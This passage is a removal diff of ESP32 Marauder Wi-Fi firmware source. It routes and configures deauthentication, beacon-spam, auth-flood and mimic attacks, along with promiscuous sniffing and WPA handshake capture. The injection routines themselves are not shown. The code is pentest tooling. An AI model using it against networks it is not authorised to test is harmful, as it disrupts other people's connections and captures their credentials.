-    RunStationScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_TARGET_AP)
-    RunAPScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
-    RunAPScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_PWN)
-    RunPwnScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_DEAUTH)
-    RunDeauthScan(scan_mode, color);
-  else if (scan_mode == WIFI_PACKET_MONITOR) {
-    #ifdef HAS_SCREEN
-      RunPacketMonitor(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
-    this->startWiFiAttacks(scan_mode, color, text_table1[50]);
-  else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
-    this->startWiFiAttacks(scan_mode, color, text_table1[51]);
-  else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
-    this->startWiFiAttacks(scan_mode, color, text_table1[52]);
-  else if (scan_mode == WIFI_ATTACK_AUTH)
-    this->startWiFiAttacks(scan_mode, color, text_table4[7]);
-  else if (scan_mode == WIFI_ATTACK_DEAUTH)
-    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
-  else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
-    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
-  else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
-    this->startWiFiAttacks(scan_mode, color, text_table4[47]);
-  else if (scan_mode == WIFI_ATTACK_AP_SPAM)
-    this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
-  else if (scan_mode == BT_SCAN_ALL) {
-    #ifdef HAS_BT
-      RunBluetoothScan(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == BT_SCAN_SKIMMERS) {
-    #ifdef HAS_BT
-      RunBluetoothScan(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == WIFI_SCAN_ESPRESSIF)
-    RunEspressifScan(scan_mode, color);
-  else if (scan_mode == LV_JOIN_WIFI) {
-    #ifdef HAS_SCREEN
-      RunLvJoinWiFi(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == LV_ADD_SSID) {
-    #ifdef HAS_SCREEN
-      RunLvJoinWiFi(scan_mode, color);
-    #endif
-  }
-
-  WiFiScan::currentScanMode = scan_mode;
-}
-
-void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
-  // Common wifi attack configurations
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    display_obj.tft.fillRect(0,16,240,16, color);
-    display_obj.tft.drawCentreString((String)title_string,120,16,2);
-    display_obj.touchToExit();
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-  #endif
-
-  //wifi_ap_config_t ap_config;
-  //ap_config.ssid_hidden = 1;
-
-  ap_config.ap.ssid_hidden = 1;
-  ap_config.ap.beacon_interval = 10000;
-  ap_config.ap.ssid_len = 0;
-        
-  packets_sent = 0;
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_AP);
-  esp_wifi_set_config(WIFI_IF_AP, &ap_config);
-  esp_wifi_start();
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  
-  //WiFi.mode(WIFI_AP_STA);
-  
-  //esp_wifi_init(&cfg);
-  //esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  //esp_wifi_set_mode(WIFI_AP_STA);
-  //esp_wifi_start();
-  //esp_wifi_set_promiscuous_filter(NULL);
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_max_tx_power(82);
-  this->wifi_initialized = true;
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.attackLED();
-  #else
-    led_obj.setMode(MODE_ATTACK);
-  #endif
-  initTime = millis();
-}
-
-bool WiFiScan::shutdownWiFi() {
-  if (this->wifi_initialized) {
-    esp_wifi_set_promiscuous(false);
-    WiFi.disconnect();
-    WiFi.mode(WIFI_OFF);
-
-    dst_mac = "ff:ff:ff:ff:ff:ff";
-  
-    esp_wifi_set_mode(WIFI_MODE_NULL);
-    esp_wifi_stop();
-    esp_wifi_restore();
-    esp_wifi_deinit();
-
-    #ifdef MARAUDER_FLIPPER
-      flipper_led.offLED();
-    #else
-      led_obj.setMode(MODE_OFF);
-    #endif
-  
-    this->wifi_initialized = false;
-    return true;
-  }
-  else {
-    return false;
-  }
-}
-
-bool WiFiScan::shutdownBLE() {
-  #ifdef HAS_BT
-    if (this->ble_initialized) {
-      pBLEScan->stop();
-      
-      pBLEScan->clearResults();
-      BLEDevice::deinit();
-
-      #ifdef MARAUDER_FLIPPER
-        flipper_led.offLED();
-      #else
-        led_obj.setMode(MODE_OFF);
-      #endif
-    
-      this->ble_initialized = false;
-      return true;
-    }
-    else {
-      return false;
-    }
-  #endif
-
-  return true;
-}
-
-// Function to stop all wifi scans
-void WiFiScan::StopScan(uint8_t scan_mode)
-{
-  if ((currentScanMode == WIFI_SCAN_PROBE) ||
-  (currentScanMode == WIFI_SCAN_AP) ||
-  (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
-  (currentScanMode == WIFI_SCAN_STATION) ||
-  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
-  (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
-  (currentScanMode == WIFI_SCAN_PWN) ||
-  (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
-  (currentScanMode == WIFI_SCAN_EAPOL) ||
-  (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
-  (currentScanMode == WIFI_SCAN_ALL) ||
-  (currentScanMode == WIFI_SCAN_DEAUTH) ||
-  (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
-  (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
-  (currentScanMode == WIFI_ATTACK_AUTH) ||
-  (currentScanMode == WIFI_ATTACK_DEAUTH) ||
-  (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
-  (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
-  (currentScanMode == WIFI_ATTACK_MIMIC) ||
-  (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
-  (currentScanMode == WIFI_PACKET_MONITOR) ||
-  (currentScanMode == LV_JOIN_WIFI))
-  {
-    this->shutdownWiFi();
-  }
-
-  
-  else if ((currentScanMode == BT_SCAN_ALL) ||
-  (currentScanMode == BT_SCAN_SKIMMERS))
-  {
-    #ifdef HAS_BT
-      this->shutdownBLE();
-    #endif
-  }
-
-  #ifdef HAS_SCREEN
-    display_obj.display_buffer->clear();
-    #ifdef SCREEN_BUFFER
-      display_obj.screen_buffer->clear();
-    #endif
-    //Serial.print("display_buffer->size(): ");
-    Serial.println(display_obj.display_buffer->size());
-  
-    display_obj.tteBar = false;
-  #endif
-}
-
-String WiFiScan::getStaMAC()
-{
-  char *buf;
-  uint8_t mac[6];
-  char macAddrChr[18] = {0};
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
-  this->wifi_initialized = true;
-  sprintf(macAddrChr, 
-          "%02X:%02X:%02X:%02X:%02X:%02X",
-          mac[0],
-          mac[1],
-          mac[2],
-          mac[3],
-          mac[4],
-          mac[5]);
-  this->shutdownWiFi();
-  return String(macAddrChr);
-}
-
-String WiFiScan::getApMAC()
-{
-  char *buf;
-  uint8_t mac[6];
-  char macAddrChr[18] = {0};
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
-  this->wifi_initialized = true;
-  sprintf(macAddrChr, 
-          "%02X:%02X:%02X:%02X:%02X:%02X",
-          mac[0],
-          mac[1],
-          mac[2],
-          mac[3],
-          mac[4],
-          mac[5]);
-  this->shutdownWiFi();
-  return String(macAddrChr);
-}
-
-
-String WiFiScan::freeRAM()
-{
-  char s[150];
-  sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
-  this->free_ram = String(esp_get_free_heap_size());
-  return String(s);
-}
-
-// Function to start running a beacon scan
-void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("ap");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  Serial.println(text_table4[9] + (String)access_points->size());
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[44],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
-  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
-  //else
-  //  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-#ifdef HAS_SCREEN
-  void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
-  
-    display_obj.tft.init();
-    display_obj.tft.setRotation(1);
-    
-    #ifdef TFT_SHIELD
-      uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
-      Serial.println("Using TFT Shield");
-    #else if defined(TFT_DIY)
-      uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
-      Serial.println("Using TFT DIY");
-    #endif
-    display_obj.tft.setTouch(calData);
-    
-  
-    lv_obj_t * scr = lv_cont_create(NULL, NULL);
-    lv_disp_load_scr(scr);
-  
-  }
-#endif
-
-void WiFiScan::RunClearStations() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[45]));
-    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
-  #else
-    this->clearStations();
-  #endif
-}
-
-void WiFiScan::RunClearAPs() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[9]));
-    display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
-    display_obj.tft.println(F(text_table4[45]));
-    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
-  #else
-    this->clearAPs();
-    this->clearStations();
-  #endif
-}
-
-void WiFiScan::RunClearSSIDs() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[11]));
-    display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
-  #else
-    this->clearSSIDs();
-  #endif
-}
-
-void WiFiScan::RunGenerateSSIDs(int count) {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[13]));
-  
-    display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
-    display_obj.tft.println(text_table4[15] + (String)ssids->size());
-  #else
-    this->generateSSIDs(count);
-  #endif
-}
-
-void WiFiScan::RunShutdownWiFi() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-
-    display_obj.tft.print(F(text_table4[16]));
-  #endif
-
-  if (this->wifi_initialized) {
-    this->shutdownWiFi();
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN);
-      display_obj.tft.println(F("OK"));
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text17));
-      display_obj.tft.println(F(text_table4[17]));
-    #endif
-  }
-}
-
-void WiFiScan::RunShutdownBLE() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.print(F(text_table4[18]));
-  #endif
-
-  if (this->ble_initialized) {
-    this->shutdownBLE();
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN);
-      display_obj.tft.println(F("OK"));
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text17));
-      display_obj.tft.println(F(text_table4[19]));
-    #endif
-  }
-}
-
-void WiFiScan::RunInfo()
-{
-  String sta_mac = this->getStaMAC();
-  String ap_mac = this->getApMAC();
-  String free_ram = this->freeRAM();
-  
-  //Serial.print("STA MAC: ");
-  //Serial.println(sta_mac);
-  //Serial.print("AP MAC: ");
-  //Serial.println(ap_mac);
-  Serial.println(free_ram);
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-    display_obj.tft.println(text_table4[20]);
-    display_obj.tft.println(text_table4[21] + display_obj.version_number);
-    display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
-  #endif
-
-  if (this->wsl_bypass_enabled) {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[23]);
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[24]);
-    #endif
-  }
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.println(text_table4[25] + sta_mac);
-    display_obj.tft.println(text_table4[26] + ap_mac);
-    display_obj.tft.println(text_table4[27] + free_ram);
-  #endif
-
-  #ifdef WRITE_PACKETS_SERIAL
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[48]);
-    #endif
-  #else
-    if (sd_obj.supported) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table4[28]);
-        display_obj.tft.print(text_table4[29]);
-        display_obj.tft.print(sd_obj.card_sz);
-        display_obj.tft.println("MB");
-      #endif
-    } else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table4[30]);
-        display_obj.tft.println(text_table4[31]);
-      #endif
-    }
-  #endif
-
-
-  battery_obj.battery_level = battery_obj.getBatteryLevel();
-  if (battery_obj.i2c_supported) {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[32]);
-      display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[34]);
-    #endif
-  }
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
-  #endif
-}
-
-void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("espressif");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[36],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("packet_monitor");
-  #endif
-
-  #ifndef MARAUDER_MINI
-    
-    #ifdef HAS_SCREEN
-      display_obj.tft.init();
-      display_obj.tft.setRotation(1);
-      display_obj.tft.fillScreen(TFT_BLACK);
-    #endif
-  
-    #ifdef HAS_SCREEN
-      #ifdef TFT_SHIELD
-        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
-        Serial.println("Using TFT Shield");
-      #else if defined(TFT_DIY)
-        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
-        Serial.println("Using TFT DIY");
-      #endif
-      display_obj.tft.setTouch(calData);
-    
-      //display_obj.tft.setFreeFont(1);
-      display_obj.tft.setFreeFont(NULL);
-      display_obj.tft.setTextSize(1);
-      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
-      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
-    
-      delay(10);
-    
-      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
-      display_obj.tftDrawColorKey();
-      display_obj.tftDrawXScaleButtons(x_scale);
-      display_obj.tftDrawYScaleButtons(y_scale);
-      display_obj.tftDrawChannelScaleButtons(set_channel);
-      display_obj.tftDrawExitScaleButtons();
-    #endif
-  #else
-    #ifdef HAS_SCREEN
-      display_obj.TOP_FIXED_AREA_2 = 48;
-      display_obj.tteBar = true;
-      display_obj.print_delay_1 = 15;
-      display_obj.print_delay_2 = 10;
-      display_obj.initScrollValues(true);
-      display_obj.tft.setTextWrap(false);
-      display_obj.tft.setTextColor(TFT_WHITE, color);
-      #ifndef MARAUDER_MINI
-        display_obj.tft.fillRect(0,16,240,16, color);
-        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
-        display_obj.touchToExit();
-      #endif
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-    #endif
-  #endif
-
-  Serial.println("Running packet scan...");
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  uint32_t initTime = millis();
-}
-
-void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  num_eapol = 0;
-
-  #ifndef MARAUDER_MINI
-    #ifdef HAS_SCREEN
-      display_obj.tft.init();
-      display_obj.tft.setRotation(1);
-      display_obj.tft.fillScreen(TFT_BLACK);
-    #endif
-  
-    #ifdef WRITE_PACKETS_SERIAL
-      buffer_obj.open();
-    #else
-      sd_obj.openCapture("eapol");
-    #endif
-  
-    #ifdef HAS_SCREEN
-      #ifdef TFT_SHIELD
-        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
-        //Serial.println("Using TFT Shield");
-      #else if defined(TFT_DIY)
-        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
-        //Serial.println("Using TFT DIY");
-      #endif
-      display_obj.tft.setTouch(calData);
-    
-      display_obj.tft.setFreeFont(NULL);
-      display_obj.tft.setTextSize(1);
-      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
-      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
-    
-      delay(10);
-    
-      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
-      display_obj.tftDrawEapolColorKey();
-      display_obj.tftDrawChannelScaleButtons(set_channel);
-      display_obj.tftDrawExitScaleButtons();
-    #endif
-  #else
-    #ifdef WRITE_PACKETS_SERIAL
-      buffer_obj.open();
-    #else
-      sd_obj.openCapture("eapol");
-    #endif
-    
-    #ifdef HAS_SCREEN
-      display_obj.TOP_FIXED_AREA_2 = 48;
-      display_obj.tteBar = true;
-      display_obj.print_delay_1 = 15;
-      display_obj.print_delay_2 = 10;
-      display_obj.initScrollValues(true);
-      display_obj.tft.setTextWrap(false);
-      display_obj.tft.setTextColor(TFT_WHITE, color);
-      #ifndef MARAUDER_MINI
-        display_obj.tft.fillRect(0,16,240,16, color);
-        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
-        display_obj.touchToExit();
-      #endif
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-    #endif
-  #endif
-
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_AP);
-
-  esp_err_t err;
-  wifi_config_t conf;
-  err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
-  if (err != 0)
-  {
-    Serial.print("could not set protocol : err=0x");
-    Serial.println(err, HEX);
-  }
-
-  esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
-  conf.ap.ssid[0] = '\0';
-  conf.ap.ssid_len = 0;
-  conf.ap.channel = this->set_channel;
-  conf.ap.ssid_hidden = 1;
-  conf.ap.max_connection = 0;
-  conf.ap.beacon_interval = 60000;
-
-  err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
-  if (err != 0)
-  {
-    Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
-    Serial.println(err, HEX);
-  }
-
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
-    esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
-  else
-    esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-
-// Function to prepare for beacon mimic
-void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-  #endif
-  
-  packets_sent = 0;
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_AP_STA);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous_filter(NULL);
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_max_tx_power(78);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("pwnagotchi");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[37],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-// Function to start running a beacon scan
-void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("beacon");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[38],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("station");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
